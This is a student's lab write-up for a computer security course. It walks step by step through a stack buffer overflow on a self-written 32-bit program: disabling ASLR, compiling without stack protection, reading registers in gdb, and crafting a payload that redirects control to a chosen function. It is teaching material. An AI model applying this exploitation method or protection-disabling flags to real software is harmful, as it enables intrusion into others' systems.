Abhinav Dutta , 1901CS02

Firstly, we need to understand a few special registers that are there in our system. They are -

1. esp - address of the top of stack
2. ebp - stores the base address of a frame ie the return address when we jump into a function. As new local variables are introduced in the function esp moves down to accommodate them but ebp remains fixed.

Step 1 : sysctl -w kernel.randomize_va_space=0

WIthout this, even though the attack will work on gdb but will not work in terminal due to changes in the environment variables which means the memory locations on the stack which we discovered in gdb will no longer be valid.

Step 2: Compile with extra flags as : **`gcc -O0 -fno-builtin -fno-stack-protector -m32 -Wall -std=c11 -ggdb -z execstack -o example.out example.c`**

`-O0` ensures no optimization

`-fno-builtin` stops conversion of printf to puts that compiler does automatically while running in gdb

`-fno-stack-protector` allows us to overflow the addresses with extra content

`-m32` ensures that the executable is produced as if in a 32 bit system. This makes our manipulations easier

`-ggdb` ensures extra data is shown while debugging

`-execstack` - this is not required now but is required when we insert shellcode in stack

Step 3: Open Debugger and find the ebp and esp values at the point where we want to overflow the buffer to determine the payload

In our case, we have :

```
Breakpoint 1, exploitable (arg=0x0) at overflow.c:16
16          strcpy( buffer, arg );
(gdb) i r esp
esp            0xffffca10     0xffffca10
(gdb) i r ebp
ebp            0xffffca28     0xffffca28
(gdb)
```

We will have our buffer input of the form : ‘a’*10 + ‘b’*skip + address_of_abhinav() [abhinav() is the function that we want to trigger via buffer overflow]

From the above , we can conclude skip = 12 , that is we need to have 12 bytes of skip to get to ebp where we can overwrite the other function’s address so that control goes there instead of returning to main(). This becomes clear when we analyze the stack by running with arg = ‘a’*10 (ie 10 ‘a’s or ‘aaaaaaaaaa’).

```
 (gdb) x/40x 0xffffca10
0xffffca10:    0x00000001    0x61610000    0x61616161    0x61616161
0xffffca20:    0x00000000    0x00000000    0xffffcbd8    0x5655560e
0xffffca30:    0xffffcecc    0x6e43a318    0xf7ffdc30    0x565555f6
0xffffca40:    0x00000000    0x00000000    0xf7fd41d0    0x00000009
```

<u>Blue</u> -> the array of 10 a’s

Yellow -> the overflowing region that we have to fill with useless data . In our case this spans over 3 words = 12 bytes = 12 characters (In our example we will use 12 b's)

Green -> The region where we have to inject the address of the function that we want to trigger. Currently it contains the address of the next instruction in the main().

Step 4 : Find the address of the function you want to trigger. Design the payload:

```
(gdb) p abhinav
$1 = {void ()} 0x56555666 <abhinav>
```

We feed the input in terms of characters, thus we use \x56=V , \x55=U, \x56=V, \x66=f. Thus the address 0x56555666 is same as VUVf (in ascii value terms). But our machine in little endian , thus we have to feed input as fVUV. Thus our designed payload is

```
Payload = 'a'*10 + 'b'*12 + 'fVUV'
Or,
Payload = 'aaaaaaaaaabbbbbbbbbbbbfVUV'
```

Step 5: Execute !

Execute with designed payload :

```
abhinav@abhinav-ThinkPad-E490:~/Desktop/acads/computersecurity/ass1/som$ ./overflow.out aaaaaaaaaabbbbbbbbbbbbfVUV
The buffer says .. [aaaaaaaaaabbbbbbbbbbbbfVUV/0xffffca96].
Abhinav Dutta, CS547
Mon Jan 30 13:12:51 2023

Segmentation fault (core dumped)
```

Execute with innocent/normal input :

```
abhinav@abhinav-ThinkPad-E490:~/Desktop/acads/computersecurity/ass1/som$ ./overflow.out aaa
The buffer says .. [aaa/0xffffcaa6].
abhinav@abhinav-ThinkPad-E490:~/Desktop/acads/computersecurity/ass1/som$
```